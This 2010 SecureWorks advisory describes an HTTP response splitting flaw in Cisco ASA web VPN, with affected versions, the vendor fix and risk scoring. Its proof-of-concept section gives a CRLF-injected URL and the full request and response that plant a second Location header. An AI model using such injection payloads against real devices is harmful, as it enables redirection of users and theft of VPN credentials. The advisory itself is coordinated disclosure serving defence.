SecureWorks Security Advisory SWRX-2010-001 Cisco ASA HTTP Response Splitting Vulnerability Advisory Information Title: Cisco ASA HTTP Response Splitting Vulnerability Advisory ID: SWRX-2010-001 Advisory URL: http://www.secureworks.com/ctu/advisories/SWRX-2010-001 Date published: Thursday, June 24, 2010 CVE: CVE-2008-7257 CVSS v2 Base Score: 5 (Medium) (AV:N/AC:L/Au:N/C:N/I:P/A:N) Date of last update: Thursday, June 24, 2010 Vendors contacted: Cisco Systems, Inc. Release mode: Coordinated release Discovered by: Daniel King, SecureWorks Summary Cisco Adaptive Security Appliance (ASA) is vulnerable to HTTP response splitting caused by improper validation of user-supplied input. A remote attacker could exploit this vulnerability using a specially-crafted URL to execute script in a victim?s web browser within the security context of the Adaptive Security Appliance site. Affected Products Cisco ASA version 8.1(1) and earlier. Vendor Information, Solutions and Workarounds Cisco has released a fix to address this security flaw. Upgrade to ASA software version 8.1(2) to remediate this issue. Release Notes are available at: http://www.cisco.com/en/US/docs/security/asa/asa81/release/notes/asarn812.html The following ?Resolved Caveat? is listed in the Release Notes: CSCsr09163 webvpn - +webvpn+/index.html http response splitting problem. Details When a user connects to the web interface of the ASA via HTTP, they are automatically redirected to the SSL encrypted version. The web server issues a 301 Moved Permanently status code to the connecting client to facilitate this redirection. If the client appends the carriage return (%0d) and line feed (%0a) characters to the URL, the web server will parse these and allow the client to inject arbitrary HTTP response headers. Using this method, it is possible to inject a second Location header to the client. The client web browser will act on only the last Location header it encounters and redirect there. SecureWorks Risk Scoring Likelihood (scale of 1-5, with 5 being high): 5 ? This device is designed to be on the perimeter of a network to allow remote access. Impact (scale of 1-5, with 5 being high): 4 ? Leveraging this attack could lead to stolen credentials and access to the VPN. CVSS Severity (version 2.0) Access Vector: Network exploitable Access Complexity: Low Authentication: Not required to exploit Confidentiality Impact: None Integrity Impact: Partial Availability Impact: None Impact Subscore: 2.9 Exploitability Subscore: 10 CVSS v2 Base Score: 5 (Medium) (AV:N/AC:L/Au:N/C:N/I:P/A:N) Proof of Concept URL: http://x.x.x.x/%0d%0aLocation%3a%20http%3a%2f%2fwww%2egoogle%2ecom Request: GET http://x.x.x.x/%0d%0aLocation%3a%20http%3a%2f%2fwww%2egoogle%2ecom HTTP/1.0 Host: x.x.x.x Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Response: HTTP/1.0 301 Moved Permanently Server: Web Server Location: https://x.x.x.x/ Location: http://www.google.com Content-Type: text/html Content-Length: 125 <HEAD><TITLE>Moved</TITLE></HEAD><BODY><A HREF="https://x.x.x.x/ Location: http://www.google.com";>Moved</A></BODY> Revision History 1.0 Thursday, June 24, 2010 ? Initial advisory release PGP Keys This advisory has been signed with the PGP key of the SecureWorks Counter Threat Unit(SM), which is available for download at http://www.secureworks.com/contact/SecureWorksCTU.asc. About the SecureWorks Counter Threat Unit(SM) Our expert team of threat researchers, also known as the SecureWorks Counter Threat Unit(SM), identifies and analyzes emerging threats and develops countermeasures, correlations and SOC processes to protect clients? critical information assets. The CTU frequently serves as an expert resource for the media, publishes technical analyses for the security community and speaks about emerging threats at security conferences. Leveraging our security technologies and a network of industry contacts, the CTU tracks leading hackers and analyzes anomalous activity, uncovering new attack techniques and threats. This process enables the CTU to identify threats as they emerge and develop countermeasures that protect our clients before damage occurs. About SecureWorks SecureWorks is a leading provider of world-class information security services with over 2,800 clients worldwide. Organizations of all sizes, including more than ten percent of the Fortune 500, rely on SecureWorks to protect their assets, support compliance and reduce costs. The combination of deep security knowledge and expertise, purpose-built security technology and processes and excellent client service makes SecureWorks the premier provider of information security services. Positioned in the Leader's Quadrant of Gartner's Magic Quadrant for MSSPs, SecureWorks has been recognized by SC Magazine's readers with the ?Best Managed Security Service? award for 2006, 2007, 2008 & 2009 and has been named to the Inc. 500, Inc. 5000 and Deloitte lists of fastest-growing companies. Disclaimer Copyright © 2010 SecureWorks, Inc. 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